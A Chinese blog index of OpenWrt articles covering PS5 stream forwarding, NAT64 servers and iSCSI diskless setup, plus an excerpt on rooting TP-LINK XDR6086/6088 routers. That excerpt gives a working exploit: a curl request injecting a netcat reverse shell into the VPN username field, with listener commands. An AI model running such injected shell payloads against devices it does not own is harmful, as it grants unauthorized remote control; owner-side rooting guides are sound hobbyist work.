分类 OpenWrt 下的文章

PS4/PS5 无采集卡直播推流到 B 站抖音等自定义平台

前提(全部以 PS5 为例,PS4 是一样的)

本教程需要:

  • OpenWrt 固件的路由器(没有其实也能实现,但需要自己劫持相关域名,这些不是本教程的内容)
  • PS5 绑定了 twitch 账号,并且可以推流 twitch (只需要能开播就行,不需要稳定推流)
  • 一点基本的 OpenWrt 相关操作常识(比如 ssh 登录,上传文件)

本教程大致分以下步骤:

  • 安装 rtmp-forwarder 到路由器
  • rtmp-forwarder 的简单配置和使用
  • 在 OpenWrt 上配置 1935 端口转发

下载安装 rtmp-forwarder

项目主页:nanpuyue/rtmp-forwarder

预编译下载:Releases · nanpuyue/rtmp-forwarder​

1.png

- 阅读剩余部分 -

TP-LINK XDR6086/XDR6088 反弹 SHELL 并开启 SSH

shell 注入方法来源:https://forum.openwrt.org/t/adding-support-for-tp-link-xdr-6086/140637/17

准备工作

1.先登录路由器 Web 界面,在 VPN 设置里添加一个 L2TP-服务端,再随便添加一个用户(如果不想手填用户信息,也可以使用后面提供的 curl 命令来创建用户)。
2.使用 nc 监听本地端口,比如 2000, Windows 可以安装 nmap,然后使用 nmap 带的 ncat 命令(在 nmap 安装目录)

nc -lp 2000

或(Windows 系统最好临时关闭一下防火墙)

ncat -lp 2000

获取 stok

按 F12 打开浏览器调试控制台,找到形如 http://192.168.1.1/stok=xxxx/ds 的 URL,chrome 浏览器的话,在“网络”标签页找到“名称”是 “ds” 的请求,单击它,然后在右侧窗口单击“标头”就可以看到了。

反弹 shell

反弹 shell 是通过在 VPN 用户名里注入 shell 命令,并且在禁用用户的时候执行,所以需要先启用用户(新建用户默认是启用的)。

创建用户(如果没用在界面创建的话)

注意把 json 里的 192.168.1.254 替换成你自己的 IP(即执行 nc/ncat -lp 2000 的机器的 IP,如果不想改 json 中的 IP,也可以改机器的 IP )。

curl http://192.168.1.1/stok=xxxx/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 2000 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'

执行成功的话,返回如下:

{"error_code":0}

- 阅读剩余部分 -

几个能用的 NAT64/DNS64 Service

http://aa.net.uk/kb-broadband-ipv6-nat64.html:

To use the NAT64 gateway simply set your DNS resolvers to
2001:8b0:6464::1 and 2001:8b0:6464::2. We no longer provide an IPv4
resolver due to abuse.

http://ipv6.lt/nat64.php

nat64.litnet.lt (2001:778::75) - serveris atliekantis NAT64
transliavimą krioklys.litnet.lt (2001:778::37) - DNS serveris
atliekantis DNS64 funkciją 2001:778:0:ffff:64::/96 - IPv6 NAT64
prefiksas
193.219.61.0/24 - IPv4 NAT64 prefiksas

- 阅读剩余部分 -

搭建基于 OpenWrt/gPXE/iSCSI 的 Windows 无盘工作站

本文要介绍的是如何在 OpenWrt 平台上面搭建无盘工作站服务器以及 Windows 的 iSCSI 部署。
当然,由于 OpenWrt 也可以算得上一种 Linux 发行版了,所以本文所介绍的一些方法,在其它 Linux 发行版上面仍有一定的参考价值。

整个过程大概分为以下几步:

  • 给 OpenWrt 添加 iSCSI Target 支持
  • 创建并配置 iSCSI Target
  • 获取 gPXE 并配置 DHCP 及 TFTP 服务
  • 通过 iSCSI 部署 Windows
  • 测试

给 OpenWrt 添加 iSCSI Target 支持

到写作本文为止,貌似 OpenWrt 官方还没有添加 iSCSI Target 支持相关的软件包,所以我们需要自力更生。然而幸运的是,已经有前人做过了类似的事情,我们只要采取“拿来主义”即可。

- 阅读剩余部分 -